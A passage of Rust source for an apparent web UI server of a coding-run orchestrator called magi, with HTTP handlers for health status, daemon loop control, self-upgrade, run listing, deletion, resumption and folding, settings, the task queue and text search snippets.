1818 current: Vec<daemon::Current>,
1822 completed: Option<u64>,
1823 stale_for_secs: Option<i64>,
1824}
1825
1826impl DaemonView {
1827 fn of(status: Option<daemon::Reading>) -> Self {
1831 let Some(status) = status else {
1832 return Self {
1833 running: false,
1834 idle: None,
1835 pid: None,
1836 current: Vec::new(),
1837 completed: None,
1838 stale_for_secs: None,
1839 };
1840 };
1841 let now = Timestamp::now();
1842 let age = status.age_secs(now);
1843 Self {
1844 running: status.running(now),
1845 idle: Some(status.idle),
1846 pid: status.pid,
1847 current: status.current,
1848 completed: Some(status.completed),
1849 stale_for_secs: age,
1850 }
1851 }
1852}
1853
1854async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1855 blocking(move || {
1856 let reading = daemon::read_status(&ui.home);
1860 let loop_rev = ui.lock_loop().rev;
1864 let update = cached_update_view(&ui.repo);
1865 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1866 Ok(Json(HealthView {
1867 version: env!("CARGO_PKG_VERSION"),
1868 home: ui.home.display().to_string(),
1869 queue_rev: ui.queue.revision(),
1870 runs_rev: runs_revision(&ui.runs),
1871 questions_rev: ui.questions.revision(),
1872 talks_rev: ui.talks.revision(),
1873 notifications_rev: ui.notices.revision(),
1874 notifications_unread: ui.notices.count_unread(),
1875 loop_rev,
1876 runs_unreadable: runs_unreadable(&ui.runs),
1877 questions_open: ui.questions.count_open(),
1878 questions_needs_owner: ui.questions.count_needs_owner(),
1879 daemon: DaemonView::of(reading.clone()),
1880 looping: ui.loop_view(reading),
1881 disk: DiskView::of(&ui),
1882 update,
1883 upgrade,
1884 }))
1885 })
1886 .await
1887}
1888
1889#[derive(Debug, Serialize)]
1891struct LoopView {
1892 running: bool,
1894 stopping: bool,
1902 parking: bool,
1910 owned: bool,
1918 repo: String,
1921 merge: Option<String>,
1924 last_error: Option<String>,
1932 daemon: DaemonView,
1935}
1936
1937#[derive(Debug, Clone, Copy)]
1946struct Foreign {
1947 pid: Option<u32>,
1949}
1950
1951impl Foreign {
1952 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1955 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
1959 }
1960
1961 fn who(&self) -> String {
1964 match self.pid {
1965 Some(pid) => format!("another magi process (pid {pid})"),
1966 None => "another magi process".to_owned(),
1967 }
1968 }
1969}
1970
1971type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1976
1977fn launch_daemon(
1979 opts: daemon::Opts,
1980 stop: daemon::Stop,
1981) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1982 Box::pin(daemon::serve_until(opts, stop))
1983}
1984
1985#[derive(Debug, Default)]
1987struct LoopState {
1988 live: Option<Live>,
1990 rev: u64,
1998 last_error: Option<String>,
2001 resume_after_handover: bool,
2006}
2007
2008#[derive(Debug)]
2010struct Live {
2011 stop: daemon::Stop,
2013 handle: tokio::task::JoinHandle<()>,
2018 opts: daemon::Opts,
2022}
2023
2024impl Live {
2025 fn alive(&self) -> bool {
2027 !self.handle.is_finished()
2028 }
2029}
2030
2031fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2038 state.lock().unwrap_or_else(PoisonError::into_inner)
2039}
2040
2041async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2043 blocking(move || {
2044 let reading = daemon::read_status(&ui.home);
2045 Ok(Json(ui.loop_view(reading)))
2046 })
2047 .await
2048}
2049
2050#[derive(Debug, Deserialize)]
2056#[serde(deny_unknown_fields)]
2057struct LoopCommand {
2058 running: bool,
2059 #[serde(default)]
2069 park: bool,
2070}
2071
2072async fn loop_post(
2080 State(ui): State<Arc<Ui>>,
2081 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2082) -> ApiResult<Json<LoopView>> {
2083 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2086 blocking(move || {
2087 let reading = daemon::read_status(&ui.home);
2088 let foreign = Foreign::of(reading.as_ref());
2089 if body.running {
2090 ui.start_loop(foreign)?;
2091 } else {
2092 ui.stop_loop(foreign, body.park)?;
2093 }
2094 Ok(Json(ui.loop_view(reading)))
2095 })
2096 .await
2097}
2098
2099#[derive(Debug, Serialize)]
2101struct UpgradeView {
2102 from: String,
2104 to: Option<String>,
2106 parked: Option<String>,
2108 detail: String,
2110}
2111
2112async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2136 let reading = daemon::read_status(&ui.home);
2137 if let Some(other) = Foreign::of(reading.as_ref()) {
2138 return Err(ApiError::conflict(format!(
2139 "the loop belongs to {}, so replacing this binary would leave \
2140 that process running an old one against the same queue. Upgrade \
2141 where it was started.",
2142 other.who()
2143 )));
2144 }
2145
2146 if crate::updater::disabled_by_env() {
2152 return Ok((
2153 StatusCode::OK,
2154 Json(UpgradeView {
2155 from: env!("CARGO_PKG_VERSION").to_owned(),
2156 to: None,
2157 parked: None,
2158 detail: format!(
2159 "Automatic updates are disabled by {}. Nothing was parked \
2160 and nothing restarted.",
2161 crate::updater::NO_AUTOUPDATE_ENV
2162 ),
2163 }),
2164 ));
2165 }
2166
2167 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2172 let from = env!("CARGO_PKG_VERSION").to_owned();
2173 let latest = match crate::updater::Checker::new(&cfg.update) {
2174 Some(checker) => checker
2175 .newer_release()
2176 .await
2177 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2178 None => None,
2179 };
2180 let Some(latest) = latest else {
2181 return Ok((
2182 StatusCode::OK,
2183 Json(UpgradeView {
2184 from,
2185 to: None,
2186 parked: None,
2187 detail: "Already on the newest release. Nothing was parked \
2188 and nothing restarted."
2189 .to_owned(),
2190 }),
2191 ));
2192 };
2193
2194 let parked = ui.park_for_upgrade()?;
2197 let detail = match &parked {
2198 Some(run) => format!(
2203 "Run {} is parking at its next step, which can take as long as \
2204 the step it is on - up to an hour for an implement wave. The \
2205 deck replaces itself once it parks, comes back, and the loop \
2206 carries that run on from where it stopped. Nothing is lost if \
2207 you close this.",
2208 crate::run::short_of(run)
2209 ),
2210 None => "The deck replaces itself and comes back. Nothing was in \
2211 flight to park."
2212 .to_owned(),
2213 };
2214
2215 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2219 progress.parked_run = parked.clone();
2220 let _ = updater::write_progress(&ui.home, &progress);
2221
2222 let home = ui.home.clone();
2223 let looping = ui.looping();
2224 tokio::spawn(async move {
2225 if let Err(e) = upgrade_and_restart(home.clone()).await {
2226 tracing::error!("the upgrade did not complete: {e:#}");
2227 lock_or_recover(&looping).resume_after_handover = false;
2228 if let Some(mut progress) = updater::read_progress(&home) {
2229 progress.fail(format!("{e:#}"));
2230 let _ = updater::write_progress(&home, &progress);
2231 }
2232 }
2233 });
2234
2235 Ok((
2236 StatusCode::ACCEPTED,
2237 Json(UpgradeView {
2238 from,
2239 to: Some(latest.tag_name),
2240 parked,
2241 detail,
2242 }),
2243 ))
2244}
2245
2246async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2251 crate::updater::run_self_update(true, false, true).await?;
2254 tracing::info!("binary replaced - asking the server to hand over");
2255 if let Some(mut progress) = updater::read_progress(&home) {
2256 progress.advance(updater::Stage::Replaced);
2257 let _ = updater::write_progress(&home, &progress);
2258 }
2259 HANDOVER.notify_one();
2260 Ok(())
2261}
2262
2263#[derive(Debug, Serialize)]
2269struct RunSummary {
2270 id: String,
2271 short: String,
2272 status: String,
2273 done: bool,
2274 instruction: String,
2275 title: String,
2276 repo: String,
2277 repo_name: String,
2278 created_at: String,
2279 updated_at: String,
2280 candidates: usize,
2281 viable: usize,
2282 judges: usize,
2283 winner: Option<char>,
2284 reviews: usize,
2285 quota_losses: usize,
2286 event: Option<String>,
2287 superseded_by: Option<String>,
2292 waiting: bool,
2299 live: crate::run::Liveness,
2303 pr: Option<crate::run::PrRecord>,
2305 unmerged_by_design: bool,
2311 origin_label: String,
2314}
2315
2316impl RunSummary {
2317 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2318 Self {
2319 id: state.id.clone(),
2320 short: state.short().to_owned(),
2321 status: status_word(state.status),
2322 done: state.status.done(),
2323 unmerged_by_design: state.unmerged_by_design(),
2324 instruction: state.instruction.clone(),
2325 title: title_from(&state.instruction, TITLE_MAX),
2326 repo: state.repo.display().to_string(),
2327 repo_name: state
2328 .repo
2329 .file_name()
2330 .map(|n| n.to_string_lossy().into_owned())
2331 .unwrap_or_default(),
2332 created_at: state.created_at.to_string(),
2333 updated_at: state.updated_at.to_string(),
2334 candidates: state.candidates.len(),
2335 viable: state.viable().len(),
2336 judges: state.config.graph.judges,
2337 winner: state.winner().map(|c| c.label),
2338 reviews: state.reviews.len(),
2339 quota_losses: state.quota.len(),
2340 event: state.events.last().map(|e| e.message.clone()),
2341 waiting,
2342 live,
2343 superseded_by: None,
2346 pr: state.pr.clone(),
2347 origin_label: crate::run::origin_label(state.origin.as_ref()),
2348 }
2349 }
2350}
2351
2352fn status_word(status: RunStatus) -> String {
2355 status.as_str().to_owned()
2359}
2360
2361#[derive(Debug, Deserialize)]
2363struct ListQuery {
2364 #[serde(default)]
2365 limit: Option<usize>,
2366}
2367
2368async fn runs_list(
2369 State(ui): State<Arc<Ui>>,
2370 Query(q): Query<ListQuery>,
2371) -> ApiResult<Json<Vec<RunSummary>>> {
2372 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2373 blocking(move || {
2374 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2375 let states = run_ids(&ui.runs)
2376 .into_iter()
2377 .filter_map(|id| read_run(&ui.runs, &id).ok())
2382 .take(limit);
2383 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2384 let summaries = summarize(
2385 states,
2386 &open_runs,
2387 &claimed,
2388 &superseded,
2389 |p| probe.borrow_mut().status(p),
2390 |p| probe.borrow_mut().started_at(p),
2391 );
2392 Ok(Json(summaries))
2393 })
2394 .await
2395}
2396
2397fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2402 let open_runs: HashSet<String> = ui
2403 .questions
2404 .list()
2405 .into_iter()
2406 .filter(|q| q.status.open())
2407 .map(|q| q.run)
2408 .collect();
2409 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2410 .into_iter()
2411 .map(|c| c.run)
2412 .collect();
2413 (open_runs, claimed, ui.queue.superseded())
2414}
2415
2416fn summarize<I, S, D>(
2422 states: I,
2423 open_runs: &HashSet<String>,
2424 claimed: &HashSet<String>,
2425 superseded: &HashMap<String, String>,
2426 mut status_q: S,
2427 mut identity_q: D,
2428) -> Vec<RunSummary>
2429where
2430 I: IntoIterator<Item = RunState>,
2431 S: FnMut(u32) -> Option<bool>,
2432 D: FnMut(u32) -> Option<String>,
2433{
2434 states
2435 .into_iter()
2436 .map(|state| {
2437 let waiting = open_runs.contains(&state.id);
2438 let live =
2439 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2440 let mut row = RunSummary::of(&state, waiting, live);
2441 row.superseded_by = superseded
2442 .get(&state.id)
2443 .map(String::as_str)
2444 .map(crate::run::short_of)
2445 .map(str::to_owned);
2446 row
2447 })
2448 .collect()
2449}
2450
2451#[derive(Debug, Serialize)]
2458struct RunDetailView {
2459 #[serde(flatten)]
2460 state: RunState,
2461 instruction_md: Vec<md::Node>,
2462 live: crate::run::Liveness,
2477 unmerged_by_design: bool,
2482 done: bool,
2487 superseded_by: Option<String>,
2495 latest_attempt: Option<LatestAttempt>,
2509 task: Option<TaskRef>,
2512 origin_label: String,
2516}
2517
2518#[derive(Debug, Serialize)]
2520struct TaskRef {
2521 id: String,
2522 short: String,
2523 title: String,
2524 source_label: String,
2526 source_link: Option<SourceLink>,
2528 status: &'static str,
2530 attempts: usize,
2531 max_attempts: usize,
2532 is_latest: bool,
2534 latest: Option<RunBrief>,
2536 finished_by: Option<RunBrief>,
2538 closed_by_hand: bool,
2540}
2541
2542#[derive(Debug, PartialEq, Eq, Serialize)]
2544struct SourceLink {
2545 kind: &'static str,
2547 id: String,
2549 href: String,
2551}
2552
2553fn encode_segment(raw: &str) -> String {
2555 let mut out = String::with_capacity(raw.len());
2556 for b in raw.bytes() {
2557 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2558 out.push(b as char);
2559 } else {
2560 out.push_str(&format!("%{b:02X}"));
2561 }
2562 }
2563 out
2564}
2565
2566fn source_link(source: &Source) -> Option<SourceLink> {
2570 let Source::Agent { run, node } = source else {
2571 return None;
2572 };
2573 let (kind, route) = if node == crate::queue::CHAT_NODE {
2574 ("chat", "chat")
2575 } else {
2576 ("run", "runs")
2577 };
2578 Some(SourceLink {
2579 kind,
2580 id: run.clone(),
2581 href: format!("#/{route}/{}", encode_segment(run)),
2582 })
2583}
2584
2585#[derive(Debug, Serialize)]
2587struct RunBrief {
2588 id: String,
2589 short: String,
2590 status: Option<&'static str>,
2592 outcome: String,
2594}
2595
2596fn task_outcome(
2599 task: &Task,
2600 this_run: &str,
2601 max_attempts: usize,
2602 read: impl Fn(&str) -> Option<RunState>,
2603) -> TaskRef {
2604 let history = task_history(task, read);
2605 let brief = |h: &TaskRunView| RunBrief {
2606 id: h.id.clone(),
2607 short: h.short.clone(),
2608 status: h.status,
2609 outcome: h.exit.edge_label(h.status),
2610 };
2611 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2612 let latest = if is_latest {
2613 None
2614 } else {
2615 history.last().map(brief)
2616 };
2617 let done = task.status == TaskStatus::Done;
2618 let finished_by = done
2619 .then(|| {
2620 history
2621 .iter()
2622 .rev()
2623 .find(|h| {
2624 matches!(
2625 h.exit,
2626 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2627 )
2628 })
2629 .map(brief)
2630 })
2631 .flatten();
2632 TaskRef {
2633 short: task.short().to_owned(),
2634 title: task.title.clone(),
2635 id: task.id.clone(),
2636 source_label: task.source.label(),
2637 source_link: source_link(&task.source),
2638 status: task.status.as_str(),
2639 attempts: task.attempts,
2640 max_attempts,
2641 is_latest,
2642 latest,
2643 closed_by_hand: done && finished_by.is_none(),
2644 finished_by,
2645 }
2646}
2647
2648#[derive(Debug, Serialize)]
2650struct LatestAttempt {
2651 id: String,
2652 short: String,
2653 resolved: bool,
2664 status: RunStatus,
2667 done: bool,
2669}
2670
2671impl RunDetailView {
2672 fn of(
2673 state: RunState,
2674 live: crate::run::Liveness,
2675 superseded_by: Option<String>,
2676 latest_attempt: Option<LatestAttempt>,
2677 task: Option<TaskRef>,
2678 ) -> Self {
2679 Self {
2680 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2681 origin_label: crate::run::origin_label(state.origin.as_ref()),
2682 live,
2683 unmerged_by_design: state.unmerged_by_design(),
2684 done: state.status.done(),
2685 superseded_by,
2686 latest_attempt,
2687 task,
2688 state,
2689 }
2690 }
2691}
2692
2693async fn run_detail(
2694 State(ui): State<Arc<Ui>>,
2695 Path(id): Path<String>,
2696) -> ApiResult<Json<RunDetailView>> {
2697 blocking(move || {
2698 let id = resolve_run(&ui.runs, &id)?;
2699 let state = read_run(&ui.runs, &id)?;
2700 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2701 let live = state.liveness(daemon_claims);
2702 let superseded_by = ui
2703 .queue
2704 .superseded_by(&id)
2705 .as_deref()
2706 .map(crate::run::short_of)
2707 .map(str::to_owned);
2708 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2712 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2713 short: head.short().to_owned(),
2714 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2715 status: head.status,
2716 done: head.status.done(),
2717 id: head.id,
2718 })
2719 });
2720 let max_attempts = daemon::Opts::default().max_attempts;
2721 let task = ui
2722 .queue
2723 .list()
2724 .into_iter()
2725 .find(|t| t.runs.contains(&id))
2726 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2727 Ok(Json(RunDetailView::of(
2728 state,
2729 live,
2730 superseded_by,
2731 latest_attempt,
2732 task,
2733 )))
2734 })
2735 .await
2736}
2737
2738async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2747 let (id, unreadable) = {
2748 let ui = Arc::clone(&ui);
2749 blocking(move || {
2750 let id = resolve_run(&ui.runs, &id)?;
2751 match read_run(&ui.runs, &id) {
2752 Ok(state) => {
2753 let in_flight =
2754 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2755 state
2756 .ensure_can_delete(in_flight)
2757 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2758 let dir = ui.runs.join(&id);
2759 std::fs::remove_dir_all(&dir)
2760 .with_context(|| format!("remove run directory {}", dir.display()))?;
2761 Ok((id, false))
2762 }
2763 Err(_) => {
2764 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2768 return Err(ApiError::conflict(format!(
2769 "run {id} is being worked on by a live daemon right now"
2770 )));
2771 }
2772 Ok((id, true))
2773 }
2774 }
2775 })
2776 .await?
2777 };
2778 if unreadable {
2779 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2780 .await
2781 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2782 }
2783 let ui = Arc::clone(&ui);
2784 let done = id.clone();
2785 blocking(move || {
2786 ui.questions.abandon_for_run(
2789 &done,
2790 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2791 )?;
2792 Ok(())
2793 })
2794 .await?;
2795 Ok(StatusCode::NO_CONTENT)
2796}
2797
2798async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2822 let (id, state) = {
2823 let ui = Arc::clone(&ui);
2824 blocking(move || {
2825 let id = resolve_run(&ui.runs, &id)?;
2826 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2827 return Err(ApiError::conflict(format!(
2828 "run {id} is being worked on by a live daemon right now"
2829 )));
2830 }
2831 let state = read_run(&ui.runs, &id).ok();
2832 Ok((id, state))
2833 })
2834 .await?
2835 };
2836 let removed = match state {
2837 Some(mut state) => {
2838 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2839 .await
2840 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2841 if removed.is_empty() {
2846 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2847 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2848 }
2849 removed
2850 }
2851 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2852 .await
2853 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2854 };
2855 Ok(Json(FoldView {
2856 run: id,
2857 removed_count: removed.len(),
2858 removed,
2859 }))
2860}
2861
2862#[derive(Debug, Serialize)]
2864struct FoldView {
2865 run: String,
2866 removed: Vec<String>,
2868 removed_count: usize,
2869}
2870
2871#[derive(Debug, Deserialize)]
2874struct FoldMergedBody {
2875 #[serde(default)]
2876 pr_url: String,
2877}
2878
2879async fn run_fold_merged(
2899 State(ui): State<Arc<Ui>>,
2900 Path(id): Path<String>,
2901 Json(body): Json<FoldMergedBody>,
2902) -> ApiResult<Json<FoldMergedView>> {
2903 let pr_url = body.pr_url.trim().to_owned();
2904 if pr_url.is_empty() {
2905 return Err(ApiError::bad_request("pr_url is required"));
2906 }
2907 let (id, mut state) = {
2908 let ui = Arc::clone(&ui);
2909 blocking(move || {
2910 let id = resolve_run(&ui.runs, &id)?;
2911 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2912 return Err(ApiError::conflict(format!(
2913 "run {id} is being worked on by a live daemon right now"
2914 )));
2915 }
2916 let state = read_run(&ui.runs, &id)?;
2917 Ok((id, state))
2918 })
2919 .await?
2920 };
2921 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2922 .await
2923 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2924 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2925 .await
2926 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2927 Ok(Json(FoldMergedView {
2928 run: id,
2929 before: before.as_str().to_owned(),
2930 after: after.as_str().to_owned(),
2931 removed,
2932 }))
2933}
2934
2935#[derive(Debug, Serialize)]
2937struct FoldMergedView {
2938 run: String,
2939 before: String,
2941 after: String,
2943 removed: Vec<String>,
2945}
2946
2947async fn run_resume(
2967 State(ui): State<Arc<Ui>>,
2968 Path(id): Path<String>,
2969) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2970 let (id, state) = {
2971 let ui = Arc::clone(&ui);
2972 blocking(move || {
2973 let id = resolve_run(&ui.runs, &id)?;
2974 let state = read_run(&ui.runs, &id)?;
2975 Ok((id, state))
2976 })
2977 .await?
2978 };
2979 if let Some(to) = &state.released_to {
2980 return Err(ApiError::conflict(format!(
2981 "run {} can no longer be resumed: its worktree was released to run {}, which \
2982 took the branch over.",
2983 state.short(),
2984 crate::run::short_of(to)
2985 )));
2986 }
2987 if !state.status.resumable() {
2988 return Err(ApiError::conflict(format!(
2989 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2990 state.short(),
2991 status_word(state.status)
2992 )));
2993 }
2994 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2999 .into_iter()
3000 .next()
3001 {
3002 return Err(ApiError::conflict(format!(
3003 "the loop is running run {} right now; stop it first, or wait for \
3004 it to finish, before resuming a run by hand.",
3005 crate::run::short_of(&work.run)
3006 )));
3007 }
3008 let _resume = ui.begin_resume(&id)?;
3009
3010 let queued = RunSummary::of(
3013 &state,
3014 !ui.questions.open_for(&id).is_empty(),
3015 state.liveness(false),
3016 );
3017 let run = id.clone();
3018 tokio::spawn(async move {
3019 let _resume = _resume;
3020 match crate::graph::Runner::resume(&run) {
3021 Ok(mut runner) => {
3022 if let Err(e) = runner.execute().await {
3023 tracing::warn!("resume of run {run} stopped: {e:#}");
3024 }
3025 }
3026 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3029 }
3030 });
3031 Ok((StatusCode::ACCEPTED, Json(queued)))
3032}
3033
3034async fn run_report(
3035 State(ui): State<Arc<Ui>>,
3036 Path(id): Path<String>,
3037) -> ApiResult<impl IntoResponse> {
3038 let text = blocking(move || {
3039 let id = resolve_run(&ui.runs, &id)?;
3040 let state = read_run(&ui.runs, &id)?;
3044 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3045 let live = state.liveness(daemon_claims);
3046 Ok(format!(
3047 "{}{}",
3048 report::run(&state),
3049 report::active_seats(&state, live)
3050 ))
3051 })
3052 .await?;
3053 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3054}
3055
3056#[derive(Debug, Serialize)]
3062struct TaskView {
3063 #[serde(flatten)]
3064 task: Task,
3065 source_label: String,
3066 source_link: Option<SourceLink>,
3067 status_str: &'static str,
3068 instruction_md: Vec<md::Node>,
3072 waits_on: Vec<String>,
3076 stuck_roots: Vec<String>,
3079}
3080
3081impl From<Task> for TaskView {
3082 fn from(task: Task) -> Self {
3083 Self {
3084 source_label: task.source.label(),
3085 source_link: source_link(&task.source),
3086 status_str: task.status.as_str(),
3087 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3088 waits_on: Vec::new(),
3089 stuck_roots: Vec::new(),
3090 task,
3091 }
3092 }
3093}
3094
3095impl TaskView {
3096 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3097 let waits_on = inv.waits_on(&task);
3098 let stuck_roots = inv
3099 .stuck_roots(&task)
3100 .iter()
3101 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3102 .collect();
3103 Self {
3104 waits_on,
3105 stuck_roots,
3106 ..Self::from(task)
3107 }
3108 }
3109}
3110
3111#[derive(Debug, Default, Deserialize)]
3114#[serde(default)]
3115struct ReposQuery {
3116 refresh: u8,
3117}
3118
3119async fn repos_list(
3126 State(ui): State<Arc<Ui>>,
3127 Query(q): Query<ReposQuery>,
3128) -> ApiResult<Json<Vec<repos::Repo>>> {
3129 let refresh = q.refresh != 0;
3130 blocking(move || {
3131 let (cfg, _) = Config::discover(&ui.repo, None)?;
3132 Ok(Json(ui.repos_cache.list(
3133 &cfg.repos.roots,
3134 Duration::from_secs(cfg.repos.scan_ttl),
3135 refresh,
3136 )))
3137 })
3138 .await
3139}
3140
3141async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3145 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3146}
3147
3148#[derive(Debug, Deserialize)]
3150#[serde(deny_unknown_fields)]
3151struct RolesBody {
3152 revision: String,
3154 roles: std::collections::BTreeMap<String, Vec<String>>,
3156}
3157
3158async fn settings_put_roles(
3164 State(ui): State<Arc<Ui>>,
3165 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3166) -> ApiResult<Json<settings::SettingsView>> {
3167 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3168 blocking(move || {
3169 settings::save(
3170 &ui.repo,
3171 ui.machine_config.as_deref(),
3172 &body.revision,
3173 &body.roles,
3174 )
3175 .map(Json)
3176 .map_err(|e| match e {
3177 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3178 settings::SaveError::Refused(m) => ApiError {
3179 status: StatusCode::UNPROCESSABLE_ENTITY,
3180 message: m,
3181 },
3182 settings::SaveError::Internal(m) => ApiError::internal(m),
3183 })
3184 })
3185 .await
3186}
3187
3188async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3189 blocking(move || {
3190 let tasks = ui.queue.list();
3191 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3192 Ok(Json(
3193 tasks
3194 .into_iter()
3195 .map(|t| TaskView::with_inventory(t, &inv))
3196 .collect(),
3197 ))
3198 })
3199 .await
3200}
3201
3202const SEARCH_MAX_HITS: usize = 100;
3204const SEARCH_MAX_QUERY: usize = 200;
3206const SEARCH_MAX_TERMS: usize = 8;
3207const SNIPPET_BEFORE: usize = 50;
3209const SNIPPET_AFTER: usize = 110;
3210
3211#[derive(Debug, Deserialize)]
3213struct SearchQuery {
3214 #[serde(default)]
3215 scope: String,
3216 #[serde(default)]
3217 q: String,
3218}
3219
3220#[derive(Debug, Serialize, PartialEq, Eq)]
3223struct SnippetPart {
3224 text: String,
3225 hit: bool,
3226}
3227
3228#[derive(Debug, Serialize)]
3229struct SearchHit {
3230 id: String,
3231 field: String,
3233 snippet: Vec<SnippetPart>,
3234 #[serde(skip_serializing_if = "Option::is_none")]
3238 run: Option<RunSummary>,
3239}
3240
3241#[derive(Debug, Serialize)]
3242struct SearchView {
3243 scope: String,
3244 q: String,
3245 hits: Vec<SearchHit>,
3247 total: usize,
3249 truncated: bool,
3250 unreadable: usize,
3253}
3254
3255fn text_leaves<'a>(
3258 value: &'a serde_json::Value,
3259 field: &'a str,
3260 out: &mut Vec<(&'a str, &'a str)>,
3261) {
3262 match value {
3263 serde_json::Value::String(s) => out.push((field, s)),
3264 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3265 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3266 _ => {}
3267 }
3268}
3269
3270fn fold_char(c: char) -> char {
3273 c.to_lowercase().next().unwrap_or(c)
3274}
3275
3276fn search_terms(q: &str) -> Vec<String> {
3278 let mut terms: Vec<String> = Vec::new();
3279 for t in q.split_whitespace() {
3280 let t = t.to_lowercase();
3281 if !terms.contains(&t) {
3282 terms.push(t);
3283 }
3284 }
3285 terms
3286}
3287
3288fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3291 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3292 let mut first: Option<usize> = None;
3293 for term in terms {
3294 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3295 first = Some(first.map_or(at, |f| f.min(at)));
3296 }
3297 let (field, text) = leaves[first?];
3299 Some(SearchHit {
3300 id: String::new(),
3301 field: field.to_owned(),
3302 snippet: snippet_of(text, terms),
3303 run: None,
3304 })
3305}
3306
3307fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3310 let chars: Vec<char> = text.chars().collect();
3311 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3312 let needles: Vec<Vec<char>> = terms
3313 .iter()
3314 .map(|t| t.chars().map(fold_char).collect())
3315 .collect();
3316 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3317 let mut best: Option<(usize, usize)> = None;
3318 for n in needles.iter().filter(|n| !n.is_empty()) {
3319 if n.len() > chars.len() || to == 0 {
3323 continue;
3324 }
3325 let last = (to - 1).min(chars.len() - n.len());
3326 if from > last {
3327 continue;
3328 }
3329 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3330 && best.is_none_or(|(b, _)| i < b)
3331 {
3332 best = Some((i, i + n.len()));
3333 }
3334 }
3335 best
3336 };
3337 let Some((start, _)) = find(0, chars.len()) else {
3338 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3340 return vec![SnippetPart {
3341 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3342 hit: false,
3343 }];
3344 };
